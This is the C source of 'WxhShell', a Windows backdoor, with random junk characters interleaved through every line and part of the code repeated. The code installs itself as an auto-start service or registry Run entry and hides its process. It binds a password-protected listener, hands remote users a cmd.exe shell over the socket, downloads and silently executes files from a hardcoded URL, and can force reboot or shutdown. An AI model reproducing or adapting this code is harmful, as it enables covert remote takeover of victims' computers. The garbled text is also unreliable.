iBl#J Q DWORD AffinityMask; 6uu^A9x DWORD BasePriority; X|X4L(i ULONG UniqueProcessId; \p5|}<Sr) ULONG InheritedFromUniqueProcessId; lo cW_/ } PROCESS_BASIC_INFORMATION; ~A^E bH'S.RWp= PROCNTQSIP NtQueryInformationProcess; 44\!PYf7 C:]/8 l static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i/NDWVFD static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \bU` \:]DFZ= ! HANDLE hProcess; 1S+;ZMk PROCESS_BASIC_INFORMATION pbi; #$LH2?) cwk+#ur HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }sf YCz if(NULL == hInst ) return 0; 1)$%Jr L<bYRGz g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Wu4ot0SZ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sB?2*S"X)< NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :~vxZ*a ~V @;(_T if (!NtQueryInformationProcess) return 0; <v]z6B@9! 2Oyy`k
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t2"@Ps&1| if(!hProcess) return 0; T36x=LX -7k[Vg? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '9 'l=Sh *~cqr CloseHandle(hProcess); G;/Q>V w "{bp hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y>$1UwQ if(hProcess==NULL) return 0; <x0)7xX 2R~6<W+&:> HMODULE hMod; L~IE,4 char procName[255]; @c Z\*,T unsigned long cbNeeded; 3S5^`Ag# u+m4!` if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "lTZ|k^ {|z#70 CloseHandle(hProcess); $`pd|K` R<|ejw if(strstr(procName,"services")) return 1; // 以服务启动 .l\r9I( 6JSY56v return 0; // 注册表启动 mwIk^Sz]@ } |=O1Hn b
vRB // 主模块 _wz2 int StartWxhshell(LPSTR lpCmdLine) Z ] '> { qbb6,DL7J
SOCKET wsl; za T_d/?J BOOL val=TRUE; +oZH?N4yaM int port=0; }%$OU = T struct sockaddr_in door; 3htq[Ren xI?0N<'.*q if(wscfg.ws_autoins) Install(); }~F~hf>s Q ]"jD#F port=atoi(lpCmdLine); Wwhgo.Wx v5T`K=qC if(port<=0) port=wscfg.ws_port; vM(Xip7 0Gsu WSADATA data; H-,TS^W if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H@D;e w>[T&0-N if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; e[{mVhg4E setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fagM7)x door.sin_family = AF_INET; rLzW` door.sin_addr.s_addr = inet_addr("127.0.0.1"); {E51Kv&_ door.sin_port = htons(port); KQ{Lt?S I8u!\F if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v L}T~_=3 closesocket(wsl); XQ?fJWLU
return 1; <7'&1=%r } `\N]wlB2/b uw33:G if(listen(wsl,2) == INVALID_SOCKET) { mb1Vu closesocket(wsl); HCj>,^<h return 1; 8z}^jTM } OCNPi4 Wxhshell(wsl); 0Z
HDBh WSACleanup(); xE1'&!4O M'2r@NR8 return 0; !D:Jbt@R<n TSjIz5 } .'T 40=7 X>zlb$ // 以NT服务方式启动 =6\LIbO VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]Blf9h7 { :( ,mL2[ DWORD status = 0; CU$#0f> DWORD specificError = 0xfffffff; dv!r. m`}{V5; serviceStatus.dwServiceType = SERVICE_WIN32; "0Q1qZ serviceStatus.dwCurrentState = SERVICE_START_PENDING; %tm p serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @i LIU}+ serviceStatus.dwWin32ExitCode = 0; ~<)vKk serviceStatus.dwServiceSpecificExitCode = 0; UyiJU~r1 serviceStatus.dwCheckPoint = 0; N3%*7{X
9 serviceStatus.dwWaitHint = 0; ]
fwZAU & mt)d hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8-Me.2K if (hServiceStatusHandle==0) return; x({C(Q'O
wCCV2tk status = GetLastError(); :]WqfR)# if (status!=NO_ERROR) jc:s` 4 { ;Ii1B{W serviceStatus.dwCurrentState = SERVICE_STOPPED; lzhqcL" serviceStatus.dwCheckPoint = 0; KzO,*M serviceStatus.dwWaitHint = 0; XP3xJm3 serviceStatus.dwWin32ExitCode = status; 3BQ!qO17^d serviceStatus.dwServiceSpecificExitCode = specificError; <1 "+,}'x SetServiceStatus(hServiceStatusHandle, &serviceStatus); BRv x[u return; +TJEG?o } ,[!LCXp $`J_:H% serviceStatus.dwCurrentState = SERVICE_RUNNING; s'\$t serviceStatus.dwCheckPoint = 0; ~Z)/RT/ serviceStatus.dwWaitHint = 0; "r'ozf2\ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I#rubAl } o{WyQ&2N .iwZ*b{ // 处理NT服务事件,比如:启动、停止 SA"8!soY3 VOID WINAPI NTServiceHandler(DWORD fdwControl) q3P+9/6 { _NZ@4+aW switch(fdwControl) Mps5Vv { >BVoHt~; case SERVICE_CONTROL_STOP: 6iA( o*'Yn serviceStatus.dwWin32ExitCode = 0; Y.6SOu5$] serviceStatus.dwCurrentState = SERVICE_STOPPED; 5&!c7$K0 serviceStatus.dwCheckPoint = 0; vVxD!EL serviceStatus.dwWaitHint = 0; v&
$k9)] { 2kh"8oQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); gl%`qf6:O } S<wj*"|.s return; Af(WV>' case SERVICE_CONTROL_PAUSE: pY"O9x serviceStatus.dwCurrentState = SERVICE_PAUSED; 3'`dFY, break; EcL-V>U#M case SERVICE_CONTROL_CONTINUE: vX|UgK?2^ serviceStatus.dwCurrentState = SERVICE_RUNNING; jeUUa-zR3 break; F>hZ{ case SERVICE_CONTROL_INTERROGATE: K%5"u' break; pv)`%< }; A!i q->+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); @OpNHQat9 } Fr2N[\>s R:aa+MX(1 // 标准应用程序主函数 RO(TvZ0pE int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =n(3o$r( { C~%
1w%nn k?GD/$1t // 获取操作系统版本 [{u(C!7L` OsIsNt=GetOsVer(); ;]2s,za)qs GetModuleFileName(NULL,ExeFile,MAX_PATH); !D^c3d
E0n6$5Uc? // 从命令行安装 !~i'
-4] if(strpbrk(lpCmdLine,"iI")) Install(); m"eteA,"k_ I^\&y(LJF // 下载执行文件 s"KJiQKGM if(wscfg.ws_downexe) { gY-5_Ab if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R\3VB NX.g WinExec(wscfg.ws_filenam,SW_HIDE); 5*%#o } k;W@LfP m7c*)"^ if(!OsIsNt) { +0wT!DZW\= // 如果时win9x,隐藏进程并且设置为注册表启动 Lo.rvt
HideProc(); jhgX{xc StartWxhshell(lpCmdLine); q/9H..6 } ] ]U<UJ else ZFm`UXS if(StartFromService()) PQmq5N6 // 以服务方式启动 9# 4Y1L S) StartServiceCtrlDispatcher(DispatchTable); @oP_;G else )m3Uar // 普通方式启动 e> rRTN StartWxhshell(lpCmdLine); N7r_77%m0 r;>+)**@vl return 0; u|#>32kV } ( lm&*tKm INs!Ame2 RrZM&lXY +yob)% =========================================== ,fDEz9-, b3-eR5U/ `N//A}9 Z7rJ}VP lASL8O&\ J&/lx${ " $0oO
&)* |'ln?D:& #include <stdio.h> [H\:pP8t #include <string.h> 0kQPJWF #include <windows.h> bi y4d #include <winsock2.h> HW4.zw #include <winsvc.h> Pz#7h*;cw. #include <urlmon.h> ,21 np PP~rn fE #pragma comment (lib, "Ws2_32.lib") 1(Y7mM8\ #pragma comment (lib, "urlmon.lib") W%2
80\h r=/;iH?UH #define MAX_USER 100 // 最大客户端连接数 @RFs/' #define BUF_SOCK 200 // sock buffer =p^He! #define KEY_BUFF 255 // 输入 buffer Xv <G-N4 v8gdU7Ll, #define REBOOT 0 // 重启 +x?#DH- #define SHUTDOWN 1 // 关机 s5.AW8X=?* l.\re"Q #define DEF_PORT 5000 // 监听端口 {qW~"z*
H.<a`mm8 #define REG_LEN 16 // 注册表键长度 l+V,DCE #define SVC_LEN 80 // NT服务名长度 6$a$K,dZ \~d";~Y` // 从dll定义API C3hv* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kg][qn|>J] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Nw& !}#m typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^=n+T7"J typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M<SdPC(+ Qu5UVjbE, // wxhshell配置信息 '}g*!jL struct WSCFG { 7"7rmZ int ws_port; // 监听端口 6)oLus char ws_passstr[REG_LEN]; // 口令 ;N B:e int ws_autoins; // 安装标记, 1=yes 0=no mNf8kwr char ws_regname[REG_LEN]; // 注册表键名 PiV7*F4qI. char ws_svcname[REG_LEN]; // 服务名 %p^.\ch9 char ws_svcdisp[SVC_LEN]; // 服务显示名 <PPNhf8 char ws_svcdesc[SVC_LEN]; // 服务描述信息 4!asT;`' char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %8*64T") int ws_downexe; // 下载执行标记, 1=yes 0=no Tmh(=
TB' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =NbI% char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5qg2Zc~ Y+4o B }; x}U8zt)yD3 2fU$J>Y // default Wxhshell configuration ^mAYBOE struct WSCFG wscfg={DEF_PORT, <APB11 "xuhuanlingzhe", hS[yNwD 1, SVjl~U-^ "Wxhshell", |K?#$~ "Wxhshell", {k4CEt; "WxhShell Service", D+~_TA "Wrsky Windows CmdShell Service", !R*-R.% "Please Input Your Password: ", Q0Nyqhvi 1, c4_`Ew^k "http://www.wrsky.com/wxhshell.exe", Qn ^bVhG+ "Wxhshell.exe" 7nbB^2 }; `cx]e #j@71]GI // 消息定义模块 UgWs{y2SE. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ladsw char *msg_ws_prompt="\n\r? for help\n\r#>"; <I}2k char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }M1sksk5 char *msg_ws_ext="\n\rExit."; 0y<wvLv2C char *msg_ws_end="\n\rQuit."; Ku&!?m@C char *msg_ws_boot="\n\rReboot..."; pV6d
Id char *msg_ws_poff="\n\rShutdown..."; "<}&GcJbz char *msg_ws_down="\n\rSave to "; vP7K9Kx MNH1D!} char *msg_ws_err="\n\rErr!"; <foCb%$(? char *msg_ws_ok="\n\rOK!"; fN"(mW>! & cNy char ExeFile[MAX_PATH]; SuZ&vqS int nUser = 0; ~&\ f|% HANDLE handles[MAX_USER]; 7PR#(ftz int OsIsNt; 9 Pw0m=4 JQ:Ri SERVICE_STATUS serviceStatus; gyS+9)gY SERVICE_STATUS_HANDLE hServiceStatusHandle; >NB?&| +UJuB // 函数声明 2,aPr:] int Install(void); 0A{/B/r int Uninstall(void); Le"oAA#[ int DownloadFile(char *sURL, SOCKET wsh); $+}+zZX5 int Boot(int flag); 1<ro7A4hK void HideProc(void); 9w9jpe# int GetOsVer(void); ~[k%oA%W int Wxhshell(SOCKET wsl); B3Jgd,[ void TalkWithClient(void *cs); T0)"1D<l int CmdShell(SOCKET sock); '8Phxx| int StartFromService(void); s:00yQ int StartWxhshell(LPSTR lpCmdLine); ??hJEE =h(W4scgqX VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m\/ Tj0e VOID WINAPI NTServiceHandler( DWORD fdwControl ); \D>$aLO*? Z ,^9Z // 数据结构和表定义 Av0y?oGH SERVICE_TABLE_ENTRY DispatchTable[] = &'l>rD^o { x\2?ym@ {wscfg.ws_svcname, NTServiceMain}, LJX-AO.4 {NULL, NULL} \:>
Wpqw }; Ifk#/d #k3t3az2{ // 自我安装 qH"Gm int Install(void) Nr2 C@FU:0 { Gu=STb char svExeFile[MAX_PATH]; Ax oD8| HKEY key; E1;@=#t2i strcpy(svExeFile,ExeFile); ?=GXqbS" Y-ux7F{=z // 如果是win9x系统,修改注册表设为自启动 m8623DB" if(!OsIsNt) { tweY'x.{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UN"(5a8. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m~Ld~I" RegCloseKey(key); EL3|u64GO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IPuA#C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .^)UO RegCloseKey(key); ,2oF:H return 0; z9W`FBg } tgL$"chj@x } uH3D{4 } FZB~|3eq{ else { )a}"^1 ,wwZI`>- // 如果是NT以上系统,安装为系统服务 0=w K:Ex SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #6Xs.*b5C if (schSCManager!=0) SM[Bv9|0 { .@iFa3 SC_HANDLE schService = CreateService &Bx
J ( 9iN.3/T8 schSCManager, 8#R?]Uwq wscfg.ws_svcname, BiE08,nj wscfg.ws_svcdisp, Bs`$ i ;& SERVICE_ALL_ACCESS, =Nz0.: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4^6.~6a SERVICE_AUTO_START, s?WCnT SERVICE_ERROR_NORMAL, 66snC{gU svExeFile, Z,N$A7SBE NULL, 9Qj2W NULL, 6VD1cb\lF NULL, }~Q"s2 NULL, iq?#rb P#I NULL l? #xAZx&_ ); '+<(;2Z
vL if (schService!=0) {>0V[c[~ { j:5%ppIY CloseServiceHandle(schService); Dj-s5pAW CloseServiceHandle(schSCManager); i5hD# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &R+#W strcat(svExeFile,wscfg.ws_svcname); U7&x rif if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $#o1MX RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3L-^<'~-k; RegCloseKey(key); lfk9+) return 0; g1DmV,W-Q } b
hjZ7= } ,KW;2t*IQ@ CloseServiceHandle(schSCManager); Vu0KtG9 } ]kktoP|D } ]pTvMom$6 B7NtkMK return 1; `ia %)@ } )tZ`K
| @^nu#R // 自我卸载 (g/7yO(s int Uninstall(void) ~QG?k { U`R;P- HKEY key; }|8*sk#[ t7#lsd`_ if(!OsIsNt) { (VHND%7P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qqs"?Z,P RegDeleteValue(key,wscfg.ws_regname); 1uG=`k8'k RegCloseKey(key); bk#xiuwT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [_DPxM=V RegDeleteValue(key,wscfg.ws_regname); _[Gb)/@mM RegCloseKey(key); V:K;] h*! return 0; <SXZx9A! } _ P ,@ } O@U?IF$ } C;1PsSE+A else { Yt1mB[&f^ ~bU7QLr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1/j$I~B if (schSCManager!=0) I/u9RmbU { OS7RQw1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^^LjI if (schService!=0) %&] 1FhL { vgPUIxB@ if(DeleteService(schService)!=0) { y]qsyR18i CloseServiceHandle(schService); tbj=~xYf CloseServiceHandle(schSCManager); NXoK@Y return 0; >Gd.&flSj } Ghv{'5w CloseServiceHandle(schService); _'iDF } #a}N"*P CloseServiceHandle(schSCManager); e9@(/+ } _x\m|SF_g } hTS|_5b 7c1+t_ Ew return 1; 04-Zvp2 } ofCVbn ?iz<
// 从指定url下载文件 8=H\?4)()Y int DownloadFile(char *sURL, SOCKET wsh) -{x(`9H; { )mD\d|7f HRESULT hr; nk08>veG char seps[]= "/"; _
VKgs]Y char *token; zGs|DB char *file; 26nBBS,; char myURL[MAX_PATH]; cIZc:
char myFILE[MAX_PATH]; )+GX<2_ ?[SVqj2- strcpy(myURL,sURL); U>3
>Ex
token=strtok(myURL,seps); 0VG=?dq while(token!=NULL) NG-`ag`s { x-~-nn\O file=token; Z[;#|$J token=strtok(NULL,seps); Yk7"XP[Y } gHH&IzHF '5WN,Vy8. GetCurrentDirectory(MAX_PATH,myFILE); Qv !rUiXq strcat(myFILE, "\\"); NKh,z&
_5- strcat(myFILE, file); cju@W] ! send(wsh,myFILE,strlen(myFILE),0); ;G Qm[W([ send(wsh,"...",3,0); ,?w!5N;iRO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E!YmcpCl if(hr==S_OK) 7,su f }= return 0; BD4"pcr else c,AZ/t return 1; >C^/,/%v ORtg>az\% } =#'+"+lQ } W:>J864! // 系统电源模块 {.#j1r4J` int Boot(int flag) e5qvyUJM { "S|(4BUJ( HANDLE hToken; g`{Dxb,t TOKEN_PRIVILEGES tkp; y3AL) |w,^"j2R if(OsIsNt) { JchA=n OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?:JdRnH \ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nO:HB.&@ tkp.PrivilegeCount = 1; QS%,7'EG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5
2fO)! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )_F(H)* if(flag==REBOOT) { A'b<?)Y7_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6i^0T return 0; Ol_/uy1r[ } LNbx3W
oC else { >]C<j4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D~7%};D[ return 0; ?^ eJ: } @u<0_r
t } .^uNzN~ else { k |M if(flag==REBOOT) { @N34 Q-l if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ho 4~-xmN return 0; lRn>/7sg$ } Ymx/N+Jl else { *&!&Y*Jzg if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VP5_Y1e7 return 0; (;\JCeGA } !Vy/-N } 7N 7W0Ky 90(JP- return 1; .-uH ax0 } ^C_ ;uz V4iN2 // win9x进程隐藏模块 0jG8Gmh! void HideProc(void) kk&
([xqU { ("ql//SL SK#;/fav6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *$Bx#0J8 if ( hKernel != NULL ) qo/`9%^E? { x+47CDDu3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5V8WSnO ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fn;`V it# FreeLibrary(hKernel); ,x&T8o/a } #,lJ>mTe4 [s"xOP9R return; AfB,`l`k } s&TPG0W AKu]c- // 获取操作系统版本 *7FtEk/l int GetOsVer(void) Gu-6~^Km9 { /c6:B5G OSVERSIONINFO winfo; ^|gD;OED7O winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Sjv_% C$ GetVersionEx(&winfo); M*$#j| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \$$DM"+:;H return 1; ) 7w%\i{M else !o1+#DL)MU return 0; A63=$ } ,Y ./9F [2ez" 4e // 客户端句柄模块 Ia
%> c int Wxhshell(SOCKET wsl) "w7wd5h { C/_Z9LL?F SOCKET wsh; ?)X0l struct sockaddr_in client; wF[%+n (* DWORD myID; Qv~lH&jG e#BxlC while(nUser<MAX_USER) EIug)S~ { sYE| int nSize=sizeof(client); :"{("!x wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eaB6e@]@ if(wsh==INVALID_SOCKET) return 1; rK(TekU _X;xW#go handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9(eTCe-~6 if(handles[nUser]==0) +6-_9qRq closesocket(wsh); 1 UdET#\ else rrz^LD nUser++; @kBy|5 } ~)vq0]MRg WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oR[-F+__ yI$KBx/]n return 0; WstX>+?' } 3:qn\"Hj pV[SY6/ // 关闭 socket _D.4=2@|l8 void CloseIt(SOCKET wsh) <aSjK# { 1K\zamBg closesocket(wsh); t[}&*2"$/ nUser--; I' [gGK4F ExitThread(0); p.)IdbC`B } [+;>u| Zm x[:- // 客户端请求句柄 `"Lk@ void TalkWithClient(void *cs) ZB+~0[C { efN5(9*9R zPm|$d SOCKET wsh=(SOCKET)cs; Ndmki
7A char pwd[SVC_LEN]; \&BT#8ELG char cmd[KEY_BUFF];
9q[d?1 char chr[1]; \uG^w(*) int i,j; NWue;u^ ?LSwJ
@# while (nUser < MAX_USER) { vFwhe! !(A< if(wscfg.ws_passstr) { .VXadgM if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fD3>g{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F rd>+ //ZeroMemory(pwd,KEY_BUFF); <H,E1kGw9 i=0; H"NBjVRU% while(i<SVC_LEN) { %t*KP= @ 6qR5A+|; // 设置超时 l3N '@GO fd_set FdRead; >c)-o}bd^ struct timeval TimeOut; &iO53I^r/ FD_ZERO(&FdRead); W#9A6ir> FD_SET(wsh,&FdRead); \ lW*.< TimeOut.tv_sec=8; U+G8Hs/y TimeOut.tv_usec=0; M#}k@
;L3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E>c*A40=.n if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w!r.MWE xey?.2K1A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^XT;n pwd=chr[0]; &8HJ4Vj2 if(chr[0]==0xd || chr[0]==0xa) { +8}8b_bgH pwd=0; *RD<*l break; @{@DGc } ~Dbu;cqR@ i++; RPw1i* } ("s!t?!&YS %Y= // 如果是非法用户,关闭 socket L"L a| if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ra
F+Bt` } 3ih:t'N- 8;i'dF:) send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Dc9Fb^]QOG send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W~& QcSWqD R-6km Tex> while(1) { QE6L_\l J9);( ZeroMemory(cmd,KEY_BUFF); 8Xa{.y" \7WZFh%: // 自动支持客户端 telnet标准 _b!
TmS#F1 j=0; LIRL`xU7 while(j<KEY_BUFF) { , }B{) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YeI|&FMX cmd[j]=chr[0]; .2
}5Dc,eR if(chr[0]==0xa || chr[0]==0xd) { ?
@- t.N cmd[j]=0; r!c7{6N break; /6FPiASbS } OouR4 j++; yK>s]65& } Nazr4QU ;y.<I& // 下载文件 $aY:Z_s if(strstr(cmd,"http://")) { B/K{sI send(wsh,msg_ws_down,strlen(msg_ws_down),0); (,['6k< if(DownloadFile(cmd,wsh)) |?LUt@r; send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q[.d else PG*FIRDb send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bg}(Sy } wV"C ,*V else { #1[Q?e4,0 aFDCVm%U| switch(cmd[0]) { 9=G
dj!L IWnyqt(k // 帮助 JT*Pm"} case '?': { trg&^{D< send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CW@G(R break; &\Yd)#B/ } 8Og)(BC // 安装 7WN$ rl5/ case 'i': { vW03nt86 if(Install()) Zq>}SR send(wsh,msg_ws_err,strlen(msg_ws_err),0); )4bZ;'B5 else Lz;E/a}s send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P8;f^3V(+/ break; fa;GM7<e) } O:(%m // 卸载 n`g:dz case 'r': { T(6B, if(Uninstall()) V39)[FH} send(wsh,msg_ws_err,strlen(msg_ws_err),0); be5NasC else Z|a\rNv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?u8vK<2h break; N>_d {=P } ti9cfv> // 显示 wxhshell 所在路径 5zsXqBG case 'p': { 7<c&)No; char svExeFile[MAX_PATH]; 2\=cv strcpy(svExeFile,"\n\r"); d<l-Ldle strcat(svExeFile,ExeFile); 5s2334G send(wsh,svExeFile,strlen(svExeFile),0); A[m4do break; ld*RL:G } ^,KN@ // 重启 1eDc:!^SD case 'b': { ()+;KF8 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^#L?HIM if(Boot(REBOOT)) n"{oj7E0a send(wsh,msg_ws_err,strlen(msg_ws_err),0); c~UYs\ else { [{B1~D- closesocket(wsh); 0IEFCDeCO ExitThread(0); g1`/xJz| } |79!exVMBp break; E0*'AZi& } '3@WF2a // 关机 lYu1m case 'd': { fE/8;v!= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :B'}#;8_
if(Boot(SHUTDOWN)) <P3r}|K send(wsh,msg_ws_err,strlen(msg_ws_err),0); -zVa[& else { Th%1eLQ closesocket(wsh); <`q|6XWL ExitThread(0); [y T4n.f } .SdEhW15) break; B"I>mw } G
K @]61b // 获取shell FBcF case 's': { G?]E6R CmdShell(wsh); 9Yowz]') closesocket(wsh); G JItGq`) ExitThread(0); j]<T\O>t> break; ^F~e?^s } UG>OL2m>5 // 退出
Tc)T0dRP case 'x': { v[6 BESu send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <P5;8 CloseIt(wsh); :u{0M& break; ~]/X,Cf } IR%a+;Xs // 离开 *ma/_rjK case 'q': { G6eC.vU]j send(wsh,msg_ws_end,strlen(msg_ws_end),0); EBM\p+x& closesocket(wsh); KX)xCR~
WSACleanup(); fu=}E5ScK exit(1); u6y\ GsM.a break; A0rdQmrOL } im+2)9f }
OV8b~k4= } {u.V8%8 NTL#! // 提示信息 BQS9q'u_ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &"tce6& } HB`pK'gz } 1wc
-v@E }7=a,1T return; 6>=>Yj } 3^Yk?kFE -Ez| // shell模块句柄 k) v[/#I int CmdShell(SOCKET sock) dWqFP { M@'V4oUz STARTUPINFO si; Jl]]nOBQ/ ZeroMemory(&si,sizeof(si)); @5?T]V g si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h{* O9O< si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n/,7ryu PROCESS_INFORMATION ProcessInfo; 9)l_(*F char cmdline[]="cmd"; )b%c]! CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6ZG)`u".(" return 0; qz0v1057# } W;N/Y3Lb 4|$D.`Wu // 自身启动模式 tt^ze|*&t int StartFromService(void) kuH;AMdv { @&Nvb.5nT typedef struct -8tA~;p { ,g,jY]o DWORD ExitStatus; *(vq-IE\$ DWORD PebBaseAddress; !%u#J:z2 DWORD AffinityMask; _"sRL}-Z DWORD BasePriority; EkL\~^ ULONG UniqueProcessId; *[SsvlFt ULONG InheritedFromUniqueProcessId; Pj.~|5gnf } PROCESS_BASIC_INFORMATION; 1!f'nS 8zc!g|5" PROCNTQSIP NtQueryInformationProcess; Y=rr6/k llleo8 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xF/D YXC{8 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J7\q#] ? vv0zUvmT HANDLE hProcess; !X8UP{J)L PROCESS_BASIC_INFORMATION pbi; KB"iF}\P0 (Z$6JNkz HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u.[JYZ
if(NULL == hInst ) return 0; ) ,hj7 2Y4&Sba^Y g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q'a N|^w"f g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "B}08C,? NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -*lP1Nbp ,>UmKrYo if (!NtQueryInformationProcess) return 0; -7O/ed+ |d5L
